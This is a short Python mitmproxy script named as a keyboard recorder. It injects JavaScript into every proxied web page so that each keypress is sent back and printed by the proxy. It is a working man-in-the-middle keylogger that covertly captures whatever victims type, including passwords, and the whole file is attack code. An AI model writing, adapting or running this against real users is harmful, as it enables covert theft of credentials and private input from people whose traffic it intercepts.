mitm_keyboard_recorder.py

from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if 'magicnumber' in flow.request.query:
        print(repr(flow.request.query['magicnumber']))
        flow.response = flow.response = http.HTTPResponse.make(200)

def response(flow: http.HTTPFlow) -> None:
    flow.response.content = flow.response.content.replace(
        b"</body>",
        b"""<script>
document.addEventListener("keypress", function(e){fetch("/?magicnumber="+e.key)})
</script></body>""")